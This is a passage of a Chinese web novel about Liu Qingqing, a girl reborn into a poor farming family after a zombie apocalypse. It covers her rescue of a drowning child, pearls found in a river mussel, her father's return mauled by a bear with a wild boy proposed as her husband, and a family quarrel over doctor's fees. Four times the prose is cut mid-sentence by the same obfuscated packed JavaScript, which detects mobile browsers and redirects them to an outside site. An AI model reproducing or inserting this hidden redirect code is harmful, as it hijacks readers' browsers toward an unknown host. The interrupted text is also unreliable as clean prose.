有精打细算的汉子,心疼徐氏的新衣,她家日子宽裕,肯定不会再要。捡回来缝一缝,给家里的孩子或婆娘,都不错。不信邪跳下水,因为水浅游不起来,站又站不稳——脚下全是淤泥,一直往下陷。 即便是刘青青踩过的草垫子,他踏上去也往下陷——他身子比小孩重多了,这才慌了神。 还是岸边的人眼疾手快,把他扯了上来。 徐氏一把从背篓里抱起昏迷不醒的小孙子,痛哭流涕,旁观有年纪大的婆子,连忙劝阻:“长贵家的,不要哭啦,救孩子要紧。” “孩子呛了这么多水进肚子,提着他腿倒立,不要心疼,用力拍他的背,先把肚子里的污水吐出来!” 刘青青不敢吭声,她已经尽力把人捞回来,这溺水后的急救,超出她的能力范围,不要多话的好。 瘫坐在地上,浑身上下一点力气也无,手脚酸溜溜的,一阵微风拂过,全身湿透的她忍不住打了个喷嚏,抱着手哆哆嗦嗦抖个不停。 眼见这里没她们的事,刘慧兰一手提起背篓,一手掺扶这刘青青离开,后面跟着刘翠翠。她要尽快带二妹回去换一身干爽的衣裳,灌上两碗姜汤,虽说是春末,河水依旧冷冰冰的,莫要得了风寒,还有幼妹,没了衣裳,光着个身子,也不是个事。 回到家,宋老太一瞧刘青青落汤鸡的模样,打眼没看见小背篓,就开始骂:“贪玩的赔钱货,掉水里都淹不死你,还丢了我的小背篓,真是败家的娘们,祸害贻千年!” 刘青青冷得牙齿打颤,没工夫回嘴。 二妹明明是救人了一命,照戏文里说的,这是胜造七级浮屠的功德,到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850663|175846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了阿奶这里,不分青红皂白就是贪玩,落水活该。 一向性子好的刘慧兰忍不住辩解了一句:“阿奶,二妹因为救人才下的水,先给她换了衣裳,喝碗姜汤才好!” 刘青青若生了病,儿子回来也要找她要铜钱买药,宋老太在心里算了算这笔账,不甘不愿的骂道:“要她烂好心,充大头,丢了我的背篓,活该冻死! 姜好好在地里躺着,是没手还是没脚,要老婆子伺候你们姐妹!” 冷哼一声,扭身出了院门,她倒要看看,是谁家的倒霉鬼掉水里,拖累她的背篓,得赔。 刘慧兰忙着烧热水,刘青青挪步到耳房,脱下还在滴水的湿衣服,扯过被子裹在身上,冷得厉害,实在顾不得身上还有污泥。这身子亏空得厉害,才泡了这么一小会,水汽就钻到了骨头缝里,浑身酥酥的疼。 不一会,刘慧兰端了洗衣的大木盆进来,倒入热水,看到裹成一个蝉蛹的刘青青,又好气又好笑,把她扶到热水里泡着,轻轻在她肩上拍了一下:“叫你逞强,幸好没事,不然,我,我……”话没说完,眼角带了红。 弯腰避开刘青青的视线,收拾地上的脏衣服去洗。 这个二妹,小的时候只是性子别扭,现在主意越发的大,才九岁的人,就敢这样冒险,今日差点没吓死她。她既佩服二妹的机智勇敢,又忧虑她做事太冲动,万一有个不好,哎! 坐在热水里,僵硬的身子慢慢恢复知觉,刘青青舒慰地叹了一声,智商渐渐加满在线,认真对着刘慧兰道谢:“阿姐,又是烧水,又是洗衣的,辛苦你啦!” 之前阿姊在宋老太面前维护她,让她很有成就感,她们都没发现,才短短几日,宋老太培养的二十四孝好孙女刘慧兰,已经开始回嘴了呢。 她再接再厉,努力装扮小可怜,激起阿姊的保护欲,可怜兮兮皱眉:“阿姊,我,衣服被水冲走了,我,我穿什么呀!阿奶会给我做新衣裳么?” 刘慧兰噗嗤笑了:“想屁呢,还新衣裳! 你活该,现在才想起没衣服,那会不是挺干脆的么,仍的一点不手软。” 她自己都没发现,她对宋老太不再盲目的信服,也会腹诽,嘀咕。 刘青青悄悄在肚子里比了个耶,不动声色继续装小可怜。 刘慧兰抱来一套碎花的外裳,提出条件:“你老实喝下满满两大碗姜汤,我就把这套新衣服给你穿!” 定亲时男方送来块花布,因是嫩粉色,宋老太没有收走。她干脆裁了花布,给两个妹妹一人做了一套新衣。 她是老大,好歹还穿过几次新衣,两个妹妹可怜,从小穿的都是她小了的衣裳,难得宋老太手里漏出些布料,让两个妹妹穿一回新衣。 所以,刘慧兰顺便帮幼妹洗了个澡,让两个妹妹都换上同款粉嫩新衣,令她们并排坐在墙角,大口大口喝着姜汤,她就着洗澡水,清洗换下的脏衣服。 不一会,幼妹犯了困,头点的像小鸡啄米。 刘慧兰会心一笑,把刘翠翠抱到床上,返身提过脏兮兮的背篓,顺便洗一洗。 里头的淤泥还有半框,正要倒在排水沟里,被刘青青阻止:“阿姊,倒菜园里吧,听大人说,这些淤泥能当肥料呢。” 刘慧兰嗯了一声,提着背篓去了菜园,肥料不肥料的没关系,这么多淤泥,要是把排水沟阻了,又要挨阿奶一顿排揎。 刘青青目送着她的身影,捏着鼻子,灌下一大口辣乎乎的姜汤,还没咽下,就听刘慧兰惊呼:“二妹,快来看,这是个啥!” 8. 第 8 章 不晓得是什么,把刘慧兰吓得惊慌失叫,难道有蛇? 刘青青放下碗抄起条棍子急奔后院。 并没有想象中的鸡飞狗跳,刘慧兰安安静静弯着腰,手里捏着跟小竹条在黑乎乎的淤泥里淘搅。 光秃秃的菜地上是新倒出来的淤泥,慢慢摊开,露出约摸排球大小的两个大块头,夕阳的余光下,间或反射着幽绿的花纹。 刘青青面上一喜,这是,河蚌? “阿姊,你傻拉,这不就还是河蚌么,好哟,有肉吃啦!” 刘慧兰皱眉:“我晓得是河蚌,可是这么大的河蚌,也是第一次见到!再说,河蚌肉腥臭,哪个吃得下,之前捡回来的都喂了鸡!” 刘青青嘿嘿傻笑,咽了咽吐沫:“那是你们不会洗,用盐巴白酒洗干净后,就没腥臭味啦!” 刘慧兰倒吸一口冷气,用盐巴,用白酒,洗! 宋老太不得把她们吃掉。 经不住刘青青的软磨硬泡,刘慧兰再一次没有底线的偷了一小把焦盐给她。 自愿当起了杂役,无奈道:“行啦,你才落了水,要如何收拾,我来!” 刘慧兰在刘青青的指使下,打来一桶清水,刷洗干净外壳,整个河蚌完整的露了出来,上面一轮一轮的线圈昭示着河蚌的年龄,刘蕙兰数了数,整整九圈,和二妹年龄一样大呢。 这功夫,刘青青从火房寻摸来了菜刀,狗腿的递给刘慧兰:“阿姊,先割嘴巴!” 刘慧兰白她一眼,只要是寻摸吃的,二妹比谁都勤快,先是蝼蛄,还有现在的河蚌,她那脑子里光长吃的。 心里不由得一阵心酸,二妹这是在家饿得狠了!对宋老太多了一丢丢不满。 沉默着接过菜刀,依言隔开河蚌嘴巴上的韧带。 没了韧带,河蚌自己张开了大大的贝壳,露出里面雪白的肉。 刘慧兰用刀沿着蚌壳一划,肉全部掉了出来。看着还挺干净,闻着没有什么臭味。 她依葫芦画瓢,打开另一个河蚌。 咦!里头硬邦邦,滑溜溜,粉冬冬的是啥? 刘青青接过,用清水洗干净,惊喜道:“呀,阿姐,你真厉害,是珍珠!” 只见刘青青手心里两颗蚕豆大小的粉色珠子,散发着莹莹的光辉,漂亮极了! 刘慧兰眨巴眨巴眼睛,不敢相信戏文里达官贵人喜爱的珍珠,竟然出现在了眼前。踌躇:“这珍珠这么好看,起码值,嗯一串钱。我们交给阿奶,让她买个新背篓,你就不会再挨骂!” 农家平时自给自足,阿娘偷偷摸摸这么些年,堪堪攒了五十六个铜板。一百个铜钱是一大笔财富,她下意识的交给一家之主阿奶。 刘青青气了个倒仰,很是恨铁不成钢。 这两个珍珠直径将近一厘米,滚圆晶莹,还是少见的粉色,即使是末世异能者到处跑,也没有这样,几乎一模一样的两个天然珍珠,阿姊半年前订婚,留着当嫁妆不好吗?到时候请城里的匠人镶成耳环或做成头饰,阿姊就是清水沟里最靓的仔。 刘青青死死拽住两颗珠子,噘着嘴威胁:“阿姊,我宁愿被阿奶打死,也不要交出珠子,你要是透漏出去,我就,我就,把它们扔到清水河里去,谁也得不到!” 知道阿姊是担心自己,刘青青委屈巴巴解释:“不就弄丢一个背篓么,我们让阿爹从新编一个。 你都定了亲,不久成婚,家里紧巴巴的,没什么像样的嫁妆,等阿爹回来,让他去城里给你做成耳环不好么,干嘛要给阿奶!” “阿奶那么大年纪,这么粉嫩的珍珠和她不搭啊,再说,以阿奶的偏心眼,最后还不是落在大房的手里,你愿意?” 刘慧兰:“!” 给阿奶戴,她没意见。但若给旁人,想想挺没劲。 大堂哥抄书赚了钱,大堂姐绣的帕子换了铜板,阿奶让他们自个留着,说是家里的规定,大人赚得钱归公,孩子赚得钱,自己当零花。 这个河蚌是二妹冒着生命危险下河救人,机缘巧合用背篓舀上来的,算来是二妹得的。 这么一琢磨,她回过味来:“那行,你好好收着,留着将来你长大给你作嫁妆!” 刘青青连连点头,回屋寻了块帕子包好,藏在鸡圈外头。二房住的耳房完全没隐私,阿奶随时盯着呢,鸡圈是刘家最安全的地儿,阿姐一人喂鸡打扫捡鸡蛋,旁人嫌臭不会去。 藏好珍珠,刘青青悄摸摸偷了点刘老头的白酒,跑到后院,倒进河蚌肉里,眼巴巴盯着刘慧兰搓洗盆里雪白的河蚌肉。 焦盐配合白酒搓揉了好几遍,河蚌肉本身的土腥味消失无踪,二妹这法子果然有效。可要怎么吃呢? 刘青青提过刀背,棒棒棒在河蚌肉上敲打,河蚌肉鲜美,爆炒最合适的,偏偏上面许多寄生虫,这里工具有限,最好还是高温炖煮。河蚌肉容易老,先把肉敲松,炖熟才嚼得动:“阿姊,菜园里许多青菜,用这个炖汤呗!” 刘慧兰没意见,砍了一大颗青菜洗干净,顺便挖了一块姜,几颗小葱。两人端着收拾好的河蚌和配菜进火房。 今日挺奇怪,宋老太竟然没在,灶上是蒸好的红薯饭,还有一盆炒腊肉。 刘青青算了算时日,撇嘴:“明日一早大堂哥要去镇上读书,想来阿奶故意做顿好的给他吃呢!” 她忍不住自嘲,占了大堂哥的便宜,终于能吃顿干饭。 在刘青青的怂恿下,刘慧兰抖着手,夹了几片油汪汪的腊肉,先在锅里炸出油来,炒香葱蒜,放入切小的河蚌肉爆炒,再加入滚水熬汤。 锅里冒出浓重的香味,把缩在大房内的刘宝强都给招来,阿奶炒了腊肉已经很香了,但这锅里雪白的浓汤,闻着竟然比腊肉还香。 他无视火房里的两人,径直用筷子去捞锅里的肉片,偏偏烧火丫头刘青青不识趣,跳起来挡着:“这是河蚌肉,不熟吃了肚子疼,你一边去,过会做好叫你!” 刘宝强仰着头哼了一声,一把拍开她的手臂,:“家里的东西,我想吃啥就吃啥,要你管!”河蚌肉受热卷了起来,什么叫没熟,她们这是想躲着他偷吃。 刘青青不是热脸贴冷屁股的,冷笑一声缩到一边,有人自己要作死,她挡得住么。 刘慧兰趁这两人斗嘴的功夫,洒下青菜。 青菜下水,碧绿的叶子散在白色的肉片中间,相应成趣。刘宝强才吃了一口,鲜得舌头差点吞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850664|175846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掉。再次伸出的筷子悻悻缩回来,生的菜不能吃。他冷哼一声,朝刘青青做了个鬼脸跑出去。 他要去找阿奶,告诉阿奶她们偷偷吃腊肉。 天完全黑了下来,刘家一家子各自归家。 刘老头看了一眼放在正中间绿绿白白清爽的肉汤,和一旁乌黑麻漆的酸菜腊肉,筷子不自觉伸向中间。疑惑的看向宋老太,今日怎的这么大方,竟然做了两个肉菜。 嘴里顺便询问:“老婆子,这是啥?” 刘慧兰急忙为二妹邀功,希望刘老头能为二妹说话:“阿爷,二妹今日从水里捡回来的河蚌取得肉,可好吃了呢。” 众人不信,河蚌肉能吃?又腥又臭,也就鸡鸭不嫌弃。刘老头的筷子,拐了个弯,伸到腊肉里。恩,酸菜也挺好吃。 宋老太提着木勺在腊肉里拌了拌,第一勺的腊肉破天荒的落在了刘青青碗里,对上众人诧异的目光,她不自然道:“今日青丫头救人落了水,村里的都夸呢,诺,给你一块腊肉补一补!” 平时得第一筷子肉的刘宝柱诧异了一下,立刻收起异色,面色如常微笑道:“堂妹厉害,是应该多吃些!” 他也夹了一筷子肉给刘青青。 刘青青碗里两块战巍巍油津津的老肥肉,吸足了刘宝柱的嫉妒和翠翠的艳羡。若是旁人,平时被打压,一下子受到这样的优待,早就受宠若惊了,可刘青青是谁?姐什么大场面没见过,丧尸晶石都吸过。 两块老腊肉就像收买她,做梦呢! 她幽幽的想,至少得一锅红烧肉罢! 她不爱吃腊肉,硝酸盐超标,不利益身心健康。末世丧尸横行,危险重重,但科技高度发展,吃喝玩乐的水平,不是现在能比的。 既然宋老太都说她救人有功,想必是在她在村子里得了众人的夸赞,脸上有光。 刘青青立马打蛇随棍上,结结实实给二房三姐妹添了一大碗饭——饭多红薯少,把腊肉分给刘慧兰和翠翠,淋上一勺河蚌青菜羹,啧,好吃! 她不爱腊肉,但阿姊和翠翠搀啊。 看看,翠翠不敢看桌上的腊肉,但那双眼睛,都要把她的碗盯出个洞来。刘慧兰也是,表面上对腊肉不屑一顾,只是隐秘的咽了好几次口水。 她们身体长时间缺盐,偶尔吃一次腊肉,无伤大雅。 刘青青一番圈食的动作,宋老太竟然还皮笑肉不笑的夸了一句:“你们就是要像青丫头这样,有好东西,要留着给长辈和弟妹!” 莫名其妙。 饭已经被舀了三碗,再不吃,过会就没了。不等宋老太分饭,他们一窝蜂的把自己的碗添满。大家对中间那盆肉持怀疑态度,毕竟,河蚌可是用来喂鸡的,又腥又硬,也就闻着香。 大家伙只吃腊肉。 除了二房三姐妹吃,也就刘宝强满满添了一碗,浇满河蚌肉,扒拉了两大口,口齿不清道:“好吃!” 一边吃,一边烫得嘻哈嘻哈的吹气,鼻涕流到碗里都顾不上。看他那个腌臜的模样,刘巧儿心生嫌弃,心中也产生了一丝好奇,这肉应该好吃罢! 她学着二房几人的样子,浇了一小勺青菜白肉汤拌饭,尝了一口,嗯,鲜,真鲜! 9. 第 9 章 在刘老头的印象中,刘巧儿这个孙女不像自家人,多了些穷讲究,挑剔得很。这么大的闺女不干活,嫌弃下地脏累。每日间窝在屋里绣花,净琢磨些没用的,做些花里胡哨的衣裳。偏大儿媳妇宠着,他这个隔代的阿爷也不好说啥,好在没几年出门,睁一只眼闭一只眼糊弄过去。 平时小口小口吃饭的她竟然像刘宝强一样,西里呼噜干了一碗饭,说明什么?说明河蚌肉可口啊! 刘老头伸出筷子,试探的夹了一片河蚌肉到嘴里。 嗯,入口一股鲜甜的味道,完全尝不出土腥味,不知道是不是他的错觉,里头还有一股淡淡的酒香味,他越嚼越香,越嚼越甜,两个字,好吃! 闭眼回味这一会,盆里的河蚌肉见了底,只剩一个汤底儿,刘老头连忙端着盆,舀了些红薯饭进去,拌了倒在自己碗里。 他吸溜吸溜吃,带动了脸上的指甲印,疼得他猛然抬头。 不对劲,太不对劲,老太婆静悄悄的,莫不是憋了大招! 他不动声色往大儿子身后躲了躲,扭头疑惑的看着宋老太:“老太婆,吃啊,傻站着作甚! 人群后的宋老太表情有些诡异,嗯,怎么说呢,就是心里得意但又不好表现出来那种尴尬。 宋老太挥挥勺子,一瞪眼:“吃你的罢,事儿真多。” 她转身去灶上,东擦擦,西抹抹,回想着之前的事。但是,她手里拿的是勺子啊,拿勺子当抹布,可以看出她现在的心不在焉。 桌上抢食的众人对视了一眼,不自觉安静了些,免得触了霉头。 其实他们不知道,宋老太心情好得很,但又不好意思表现出来,主要是今日的经历太奇幻——村里的人都用敬仰的眼神看着她,甚至隔壁的死对头孙氏,看见她主动低眉顺眼的喊了声嫂子,出门呢! 这样的场景她在梦里的时候出现过无数次:梦里大孙子考中举人,当了大官,她成了官家老太太,穿着金线绣的衣裳,画着像面粉一样白的脸,红彤彤的口红,戴着手臂那么粗的金簪,风风光光坐着八人抬的轿子回村,村里的人都停下来敬仰的问好。 当年说亲的时候,她看上了隔壁的秀才,偏人家嫌弃她大字不识一个,没成。嫁给刘老头后,她发誓,当不成秀才娘子,就要当秀才娘。可惜几个儿子没长秀才的脑袋,只胡乱认得几个字。 她把目光放在了孙辈,大孙子是个好的,书院里先生都夸。所以,她砸锅卖铁,被村里人讥讽癞蛤蟆做美梦,也要压下刘家一切反对声音,不惜让二儿子冒着被狼咬的危险进山狩猎,要让大孙子把这书念下去。 不仅大孙子,以后的二孙子,小孙子,只要是刘家的男娃,全都去念书。她凭着多年种庄稼的经验觉得,三颗苗子,总有一人能考中罢。 至于刘家的女孩,又不能科考,光耀门楣,长大了也是婆家的人,不饿死就行。 一直来,她按照这样的观念,去主持这个家,领着刘家越过越红火,离她的梦想越来越近——大孙子明年下场,按照平时夫子的评语,一个秀才是少不了的,二孙子背会了三本书,等这次二儿子带回来的猎物换了银子,置办束脩,就能送他去镇上念书,小孙子更是个聪明活拨的,已经背会三字经了呢。 万万没想到,今日让她提前受到里村里婆子敬仰崇拜,但不是因为大孙子,是刘青青那个死丫头片子。 二房几个赔钱货回来说救了人。她便出门打听打听是谁家,想让他家赔个新背篓,新背篓花五个铜板从街上买回来的,堪堪一旬,像新的一样,哪能就这样算了。 顺着热闹,惊喜的发现,青青救的是村长家的长子长孙。他家儿媳妇嫁来五年,才得了这么一个宝贝蛋,跑跳都不利索的小娃,就穿着厚厚的千层底棉鞋,好多人私下嘀咕村长家不会过日子。 她一进门,徐氏顶着红胀的眼,对她纳头就拜。她哪敢受同辈的大礼,夭寿哦,连忙躲到一边。 村长一家对她极其感激,好茶点心果子,流水一般捧到面前,她不是个眼皮子浅的,矜持着只吃了两盘子,估摸着背篓钱赚回来,讪讪告辞,哪知道徐氏是个记恩的,还奉上厚礼。 宋老太一面擦擦抹抹,一面回味着点心的甜味,叫什么蜜汁桃酥,别说,比大孙子带回来的白面馒头味道好了些。 刘慧兰缩着肩头扒拉碗里的饭,不时偷瞄宋老太的背影,心里有些恐慌,阿奶今日好反常,竟然没有责骂她们把背篓弄丢,还破天荒的先给妹妹添了菜,难道是憋了大招。 刘青青见她心不在焉,推了她一下,示意她快吃。宋老太没闹腾,肯定是得了比背篓更大的好处呗,也不知她上门去人家讨要了什么好处,明明她救人的时候,没想过回报的。 饭后,刘慧兰乖觉的洗了碗,向刘老太报备了一声,去迎苏氏,姐妹三人摸黑出了门。 刘青青一拍脑袋:“阿姊,我们给阿娘带的烤蝼蛄落在河岸了!” 是哦,里头加了盐巴,和猪草混在一起,丢进了清水河,做了踏脚石。 刘慧兰心疼得直抽抽,几乎要厥过去,忍不住在她脸颊上重重扭了一把,这个臭妮子,越大越有主意。好在苏氏及时回来,扯开了话题。 苏氏捧着十个鸡蛋,脸上带着喜气,远远地看到月光下熟悉的三个人影,心头一暖。 三个女儿记挂着她呢,她快走了几步,从怀里掏出一块小帕子,捡出里头变了形的麦芽糖,咬作三块,一个女儿嘴巴里塞了一块。 做得很粗糙的麦芽糖,许是被太阳晒过,甚至有一点变质的味道,被果糖奶糖各种糖洗礼过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850665|175846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的刘青青,不嫌弃上面苏氏的牙印,吃得无比甜蜜,这是亲情的味道。 刘青青心头暖洋洋的,多了些牵挂,暗暗发誓,一定要护住家里这几只。 & 夜深人静,杂乱的脚步声引起了一阵阵的狗吠,刘老头家的木门被拍得啪啪作响。 宋老太梦见大孙子买了些蜜汁桃酥回来孝敬,正要品尝,被惊醒过来,没好气破口大骂:“娘希匹谁啊!半夜三更,吵吵个啥!” 刘老头推了她一把:“别嚷嚷,快点灯!听着像二贵。” 宋老太心下突突,二儿跟着赵二贵他们上山打猎,这大半夜的下山? 吵闹声响起,半个村子都惊醒过来,三三两两亮起了灯火。苏氏领着几个孩子挤在一张床上,自然也被吓醒,耳房离院门更近,她甚至能听见二贵的声音里带着急切和悲哀。 悲哀?苏氏眼前一黑,她不信,当家的身强力壮,肯定不会出问题。她强撑着一口气,三两下穿好衣裳软着腿去开门,刘慧兰恍然的跟在后面。 刘青青警醒,在敲门声响起来的时候,早已经醒来,心里有些沉重,便宜爹伤得厉不厉害,不晓得能不能保住命! 她翻出找猪草采回来的紫云英,又溜到后院鸡圈取出藏着的珍珠,跑到门外。 院门外苏氏已经哭倒在地,刘慧兰手足无措茫然跪在一边哭泣,地上简易担架上,躺着个下半身都是血,脸色煞白的男人,若不是微微起伏的胸膛,恐怕大家伙都要以为这是个死人。 刘青青凑上前看了一眼,粗略发现便宜爹大腿部有个深可见骨的口子,不晓得被什么利器所伤,还在汩汩的冒血。她刷拉撕下自己的新衣,顺着裹了两圈。 等了这么一会,宋老头才踉跄着出来,赵二贵好不容易逮到一个主事的,连忙上前解释:“叔,我们遇到熊瞎子,大家伙都受了伤,大山大腿挨了熊瞎子一爪子,兄弟们好不容易把他抬回来,你们赶紧请个大夫瞧一瞧!” 停顿了一下,他支支吾吾一会,干脆转身从后面汉子背上,抱下一个脏兮兮裹着兽皮的昏迷小子,放在旁边:“幸好这孩子丢了个蜂巢,吸引了熊瞎子的注意,我们才能保住性命,可惜他被熊瞎子追得太急,碰到了头昏过去。 大山兄弟说,要收他做二女婿!” 他没敢说实话,大山的原话是,他怕是不成了,希望兄弟们看在曾经一起出生入死的情分上,把人带回去,给二闺女做个上门女婿,为二房支棱门户,免得被大房卖了还要数钱。 一旁寻思救人方案的刘青青恍如被焦雷劈中。 她转动脖子,目光落在地上昏迷不醒,满头乱发邋遢披着,遮住脸看不清美丑,裹着兽皮依旧可以看出瘦弱小身板的未来夫婿,心中再次一万匹曹尼玛呼啸而过。 10. 第 10 章 老天啊,便宜爹自己半死不活,还带回了一个麻烦,看那纯天然打结的头发,猴哥同款的兽皮裙,这完全就是个纯纯正正的野人啊。 这不是家里多一双筷子的问题,这是种族和平相处的问题。 她已经目测到以后鸡兔同笼、鸡同鸭讲,鸡飞狗跳的日子。再说,原著中只有便宜爹回来,没提到这么一个野孩子,想必是无足轻重的小角色罢。 可以拒绝么?应该可以吧。家里现在她做主。 她是个随性的人,立马这么做了! 刘青青悲泣对着赵二贵:“叔,我爹生死不知,家里实在没精力照料小恩人,劳烦你先领回去,等我爹缓和些,我们娘几个来给恩人磕头。” 决口不提收养野孩子的茬。 赵二贵急得嘴秃噜:“不是,这是你爹替你相的小丈夫嘞……”是给你们二房顶立门户的。 他不敢说后面这句话,说出来,就是咒刘有山死呢。 她面上换了一副焦急无措的模样,转身拽着刘老头的袖子:阿爷,我爹伤得这么重,是不是去城里看大夫啊?” 赵二贵抬着拉她的手,讪讪的缩回来摸了摸鼻子,人家里确实乱着,先帮忙照看几日好了,反正和儿子是连襟,先熟悉熟悉也好。他挥挥手,让儿子把人先背回去,免得他在这里,一双眼珠子几乎黏在了刘慧兰身上,实在丢脸。 他强撑着精神,凑到刘老头面前:“叔,要去城里么,我跟着搭把手!” 刘老头看了看赵二贵,他面上都是疲惫,浑身泥泞。这是二儿子自己相中的亲家,确实古道热肠,就是家里不太宽裕,定亲只给家里送来两尺布,帮不上什么忙。 他烦躁的挥了挥手,深深叹气:“清水沟到城里有二三十里路,大半夜黑灯瞎火的,怎么去啊!你们搭把手,先把人挪进屋,蕙兰,你去村子头把胡老头请来!” 刘慧兰得了主心骨,高一脚低一脚跑了去。 几个汉子对视了一眼,露出果然如此的表情,因是外人,不好说什么,帮忙抬人。 听到阿爷的决定,刘青青心凉了半截。 胡老头曾经在城里的药铺当伙计,年纪大后回村娶妻生子,农闲之余为乡亲们抓点药,配点酒,应付平时的头疼发热,腰疼腿酸还凑合,就便宜爹这样,必须要外科大夫进行缝合,看着嘴角的血迹,估计还有内伤,让胡老头来,阿爷是让阿爹两只脚都踏进鬼门关啊。 刘青青心内焦灼,只希望胡老头不要胡乱开药,草菅人命。打定主意,一定要去城里治疗,提前准备起来。趁大人都围在便宜爹面前,提着斧子卸下一块门板,厚厚的铺上被子,做了个简易的不变形担架。 宋老太从屋内出来,恰好看见刘青青的动作,顿时大骂:“娘希匹的,老娘的门板哟” 赵二贵眼前一亮,直夸刘青青聪明:“我们抬山子下山,废了好大的劲,生怕伤到他,这门板好,不会碰到他!婶子放心,门板用完了,我帮你再装上去就是。” 宋老太盯着黑洞洞的院门:“” 此间事了,她要打死这个臭丫头。 打岔的当头,刘慧兰领着胡老头进了屋,胡老头站在床头看了一眼,刘有山面如金色,吓得哎哟了一声:“刘老哥,我,我,……!都这样了,这不是为难我么!你们赶紧送城里。” 他连水都没喝一口,转身就走。 苏氏看他的模样,悲从中来,眼泪像断线的珍珠噼里啪啦往下掉。 刘慧兰眼眶里含了泪,彷徨无措的看着刘老头。 刘老头深深叹息了一声,宋老太嗷的坐在地上哭起来:“我苦命的娃,还没个后呢,就这么去了,你叫你娘怎么活啊……” 刘青青火了,哐啷砸了端进门的水碗,耿着脖子喊:“我爹还没死呢,奶,你这就开始号丧,是几个意思!” 飞溅的碎瓷片划破了宋老太的手,让她愣了一下,而后便是铺天盖地的怒火,好哇,这个贱蹄子,竟敢在她面前耍横,脱了鞋就要去抽她。 儿子重伤,她心里一股无名恐慌,怒火无处发作,刘青青正好撞上,不打她实在不能消气。 刘青青身子灵活腾挪,一下都没挨着,屋子里闹哄哄的,刘老头暴喝一声:“行啦!消停些,山子还躺着呢!” 他习惯性伸手进口袋,抓出旱烟口袋,却摸了个空,旱烟早就抽完了,本计划着等山子这次打的猎换了银钱,若有剩余,就买一些回来,如今,猎物没有,还反伤了人,可怎么办啊? 他深深对着旱烟袋子吸了口气,对着宋老太无奈道:“老太婆,收拾收拾家里的余钱,天一亮,请几个后生,带着山子进城看大夫去!” 若山子不能挨到天亮,那就是命。 才进门的王氏急了眼,连忙阻止:“爹,二弟这样,万一人财两空怎么办?” 她话才说完,刘青青一脑袋撞在她肚子上,将她撞了一个趔趄,大声嚎哭:“大伯娘好恶毒的心,咒我爹呢?等我爹没了,你们好把我们娘几个提脚卖了,这刘家就是你说的算。我倒要去问问大堂哥,他是不是也要眼睁睁看着我爹疼死,好独霸家财。” 跟在后面的刘宝柱听了王氏的话,暗道不好,还没说话开脱,被刘青青先发制人质问,听听,口口声声说他算计二房,他还要不要科考了。 连忙露出悲泣的表情:“青妹妹,误会,我尊敬二叔就和尊敬我爹一个样,都盼着他快快好起来。” “我阿娘是睡蒙了头,还在说梦话呢!这样,我们现在就准备,送二叔去城里看大夫。你放心,家里砸锅卖铁,也要把二叔治好。” 王氏不愿意了,恨铁不成钢的推了刘宝柱一跟头,怒骂:“老二自己招惹熊瞎子受了伤,那是他们二房的事,与我们大房何干?不行,分家,现在就分。 分了家,就算二房卖房卖地卖儿卖女,别人也管不着,凭什么让我们大房跟着一起受罪”,她去拉刘宝柱,却被刘宝柱躲开,还一副娘怎么这个样子,不敢置信的模样。 王氏心里几乎呕死,她为了谁,还不是为了他,读书都要读傻了。 父母在,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850666|175846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分家,老大媳妇这是打他们老两个的脸,刘老头气得直哆嗦。 宋老太肚里哇凉哇凉的,老大家的日日念叨二房娘几个是吃干饭的,光她和男人两个下地劳作,不公平。 她自是知道的,可是,就他们两口子种地那点出息,堪堪够交税,家里吃饱而已。大孙子念书的费用,全靠二儿子上山打猎换的银子。 她抠抠搜搜一年到头,省下的嚼用都花在大孙子身上,到头来,大儿媳妇竟然不满,还觉得她偏心二房,闹着要分家。 听到分家,刘青青暗暗给王氏点了个赞。 不过脸上作出一副不可能的模样,冷嗤:“大伯娘,我爹上山打猎这么些年,换的银钱全交给了阿奶,一个子没留。这个时候,他受了伤,你们就要分家,不管我爹死活,你还是人么?想分家,没门。” 她砰一声,跪在宋老太面前,呜呜的哭:“奶,我爹是你亲生的罢,只要送去城里看大夫,他就能活过来,求求你,把这些年阿爹交给你的银钱拿出来,你放心,等他好了,他还去山里打猎物赚钱,给您养老!” “我日日割猪草养大肥猪卖了还你钱!” 